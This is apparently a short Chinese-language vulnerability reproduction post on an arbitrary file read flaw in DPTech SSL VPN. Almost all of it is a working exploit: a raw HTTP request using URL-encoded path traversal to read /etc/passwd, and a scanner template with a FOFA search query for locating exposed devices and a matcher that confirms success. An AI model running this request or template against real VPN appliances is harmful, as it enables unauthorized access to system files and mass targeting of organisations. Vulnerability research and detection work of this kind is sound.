「漏洞复现」DPTech VPN 存在任意文件读取

GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: Connection: keep-alivePragma: no-cacheCache-Control: no-cachesec-ch-ua: "Google Chrome";v="117", "Chromium";v="117", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9

id: dptech-vpn-filereadinfo:  name: dp-vpn-fileread  author: rain  severity: high  description: DPtech SSL VPN 服务存在一个文件读取漏洞，攻击者可以通过利用此漏洞读取目标系统上的敏感文件。该漏洞可能导致未经授权的信息泄露，危及系统的机密性和完整性。  metadata:     fofa-query: title=="SSL VPN Service" && header="Dptech" || cert="DPtechCa"http:  - raw:      - |             GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36    matchers:      - type: dsl        dsl:          - 'status_code==200 && contains_all(body,"root")'